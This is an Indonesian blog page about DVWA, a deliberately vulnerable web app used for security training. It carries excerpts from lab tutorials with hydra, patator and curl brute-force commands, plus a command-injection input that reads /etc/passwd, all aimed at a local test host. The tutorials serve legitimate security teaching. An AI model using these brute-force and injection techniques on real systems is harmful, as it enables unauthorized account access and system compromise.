DVWA

DVWA

Damn Vulnerable Web App (DVWA) adalah aplikasi web PHP / MySQL yang sangat rentan. Tujuan utamanya adalah untuk membantuan para profesional keamanan untuk menguji keterampilan dan alat-alat mereka dalam lingkungan hukum, membantu pengembang web lebih memahami proses mengamankan aplikasi web dan guru bantu / siswa untuk mengajar / belajar keamanan aplikasi web di lingkungan ruang kelas . 

Lebih Lanjut


Komentar

Posting Komentar

Postingan populer dari blog ini

DVWA: Brute Force login

  TL;DR: Quick copy/paste CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2) SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}') curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/rockyou-40.txt \ -e ns -F -u -t 1 -w 10 -v -V 192.168.1.44 http-get-form \ "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=low; PHPSESSID=${SESSIONID}" patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 timeout=10 \ url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \ 1=/usr/share/se...
Baca selengkapnya

DVWA: Brute Force login high

  DVWA: Brute Force login high DVWA Brute Force Tutorial (High Security) Nothing contained in this article is intended to teach or encourage the use of security tools or methodologies for illegal or unethical purposes. Always act in a responsible manner. Make sure you have written permission from the proper individuals before you use any of the tools or techniques described here. This tutorial demonstrates how you can complete a brute force attack on DVWA (Damn Vulnerable Web Application) on high security. We’re going to jump straight in, so if you haven’t already, I recommend working through the previous tutorials for brute forcing DVWA on low and medium security. Let’s go ahead and run the same hydra attack and see what happens: hydra 192.168.0.11 -l admin -P /usr/share/set/src/fasttrack/wordlist.txt http-get-form “dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=Low;PHPSESSID=hc96j9jc6...
Baca selengkapnya

DVWA: Command Injection

  DVWA: Command Injection Login ke DVWA Klik Command Injection Ping isi IP yang bisa di ping misalnya, router anda, misalnya 192.168.0.223 Hasilnya kira-kira PING 192.168.0.223 (192.168.0.223) 56(84) bytes of data. 64 bytes from 192.168.0.223: icmp_seq=1 ttl=64 time=0.560 ms 64 bytes from 192.168.0.223: icmp_seq=2 ttl=64 time=0.696 ms 64 bytes from 192.168.0.223: icmp_seq=3 ttl=64 time=0.692 ms 64 bytes from 192.168.0.223: icmp_seq=4 ttl=64 time=0.631 ms --- 192.168.0.223 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.560/0.644/0.696/0.063 ms Tambahkan perintah cat sesudah nomor IP, misalnya 192.168.0.223; cat /etc/passwd PING 192.168.0.223 (192.168.0.223) 56(84) bytes of data. 64 bytes from 192.168.0.223: icmp_seq=1 ttl=64 time=0.560 ms 64 bytes from 192.168.0.223: icmp_seq=2 ttl=64 time=0.696 ms 64 bytes from 192.168.0.223: icmp_seq=3 ttl=64 time=0.692 ms 64 bytes from 192.168.0.223: icmp_seq=4 ttl=64 time=0.631 ms --...
Baca selengkapnya